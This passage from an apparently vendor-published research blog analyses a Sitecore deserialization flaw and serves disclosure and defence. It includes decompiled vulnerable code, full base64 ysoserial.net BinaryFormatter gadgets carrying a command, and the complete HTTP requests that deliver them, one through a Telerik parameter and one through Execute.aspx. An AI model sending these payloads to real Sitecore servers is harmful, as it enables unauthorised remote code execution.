__OBJECT=Telerik.Web.UI.RadPivotGrid.set_FiltersPersistence("PivotGridReportFilter;x;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw=="),Telerik.Web.UI.dll&__CSRFTOKEN=AAEAAAD/////AQAAAAAAAAAGAQAAACQ5ZTJhZWFkNS1kZjU2LTQ2MjUtYmM2OC1hZGYyZTcwZGEwODgL

Bonus Authenticated RCE

While looking for instances of <span class="code_single-line">BinaryFormatter.Deserialize</span> we came across an instance that did lead to remote code execution, but was not available without authentication.

Unfortunatley, because it relied on binding values to ASP controls it did not work via the <span class="code_single-line">Server.Execute</span> technique. In the <span class="code_single-line">Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls</span> pipeline processor there were several locations where unfiltered input was processed and eventually passed into a call to <span class="code_single-line">Base64ToObject</span> which then called <span class="code_single-line">BinaryFormatter.Deserialize</span>.

The vulnerable code is included below with added comments.

private static void Convert(HtmlDocument document)
{
    SafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();
    HtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes("//iframe");
    if (htmlNodeCollection != null)
    {
        foreach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))
        {
            string src = htmlNode.GetAttributeValue("src", string.Empty).Replace("&amp;", "&");
            ConvertWebControls.Convert(document, htmlNode, src, controlIds);
        }
    }

    // NOTE 1: select divs with the class scInlineControl, e.g. <div class="scInlineControl" id="X"> 
    htmlNodeCollection = document.DocumentNode.SelectNodes("//div[contains(@class, 'scInlineControl')]");
    if (htmlNodeCollection == null)
    {
        return;
    }
    foreach (HtmlNode htmlNode2 in ((IEnumerable<HtmlNode>)htmlNodeCollection))
    {
        HtmlNode htmlNode3 = htmlNode2.FirstChild;
        while (htmlNode3 != null && htmlNode3.NodeType != HtmlNodeType.Element)
        {
            htmlNode3 = htmlNode3.NextSibling;
        }
        if (htmlNode3 != null)
        {
            string text = htmlNode3.InnerText;
            text = HttpUtility.HtmlDecode(text);

            // NOTE 2: pass <div class="scInlineControl" id="X"> down to the next method
            ConvertWebControls.Convert(document, htmlNode2, text, controlIds);
        }
    }
}

private static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)
{
    NameValueCollection nameValueCollection = new NameValueCollection();
    string text = string.Empty;
    string empty = string.Empty;
    string text2 = string.Empty;
    nameValueCollection.Add("runat", "server");
    src = src.Substring(src.IndexOf("?", StringComparison.InvariantCulture) + 1);
    string[] list = src.Split(new char[]
    {
        '&'
    });

    // NOTE 3: take the "id" attribute of <div class="scInlineControl" id="X">
    text = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);
    string id = node.Id;

    // NOTE 4: select any elements where the "id" attribute equals the above id plus "_inner", e.g. <div id="X_inner">
    HtmlNode htmlNode = document.DocumentNode.SelectSingleNode("//*[@id='" + id + "_inner']");
    if (htmlNode != null)
    {
        // NOTE 5: get the "value" attribute from the "_inner" element
        text2 = htmlNode.GetAttributeValue("value", string.Empty);
        htmlNode.ParentNode.RemoveChild(htmlNode);
    }
    HtmlNode htmlNode2 = document.CreateElement(empty + ":" + text);
    foreach (object obj in nameValueCollection.Keys)
    {
        string name = (string)obj;
        htmlNode2.SetAttributeValue(name, nameValueCollection[name]);
    }
    if (htmlNode2.Id == "scAssignID")
    {
        htmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);
    }
    if (text2.Length > 0)
    {
        // NOTE 6: pass the "value" attribute text from above to Base64ToObject
        htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
    }
    node.ParentNode.ReplaceChild(htmlNode2, node);
}

The <span class="code_single-line">Convert</span> methods first look for any elements with the class <span class="code_single-line">scInlineControl</span>, it then searches for a corresponding “inner” element and passes the <span class="code_single-line">value</span> attribute of this element to <span class="code_single-line">Base64ToObject</span>.

The <span class="code_single-line">Sitecore.Convert.Base64ToObject</span> method decodes the argument provided and passes it to <span class="code_single-line">BinaryFormatter</span>. This can be seen in the snippet below.

public static object Base64ToObject(string data)
{
    Error.AssertString(data, "data", true);
    if (data.Length > 0)
    {
        try
        {
            byte[] buffer = Convert.FromBase64String(data);
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream serializationStream = new MemoryStream(buffer);
            return binaryFormatter.Deserialize(serializationStream);
        }
        catch (Exception exception)
        {
            Log.Error("Error converting data to base64.", exception, typeof(Convert));
        }
    }
    return null;
}

There were a few places in Sitecore that this pipeline was invoked. However, the easiest to access was via <span class="code_single-line">/sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML</span>. We used the same ysoserial.net payload from above to create the following payload.

<div class="scInlineControl" id="X">
<div id="X_inner" value="AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw==">X</div>
</div>

And then sent it with the following request to get our remote code execution.

POST /sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML HTTP/2
Host: xp0.sc
Content-Length: 2011
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: sitecore_userticket=<omitted>; .AspNet.Cookies=<omitted>

html=%3cdiv%20class%3d%22scInlineControl%22%20id%3d%22X%22%3e%0a%3cdiv%20id%3d%22X_inner%22%20value%3d%22AAEAAAD%2f%2f%2f%2f%2fAQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA%2fAlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw%3d%3d%22%3eX%3c%2fdiv%3e%0a%3c%2fdiv%3e

Conclusions

We can see that even though we had looked at Sitecore before, there is still value in looking again. When dealing with large enterprise software with large attack surfaces, it is worth getting a second pair of eyes to see if anything new turns up. In this case, we found two new vectors for remote code execution, a new way to exploit an old vector and two authentication bypasses.

Although not a novel technique, as part of our investigation we also learnt about the <span class="code_single-line">Server.Transfer</span> and <span class="code_single-line">Server.Execute</span> features. Something we did not previously search for when evaluating .NET codebases but will be doing in the future.

Finally, we feel this research has also served as good demonstration of the value of debugging and observing the target in addition to static analysis. When given a particularly complicated codebase, the benefits of attaching a debugger and just looking through the call stack of a request cannot be understated. Particularly in languages like .NET and Java where there is so much debugging information available at runtime.

Written by:
Dylan Pindur
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.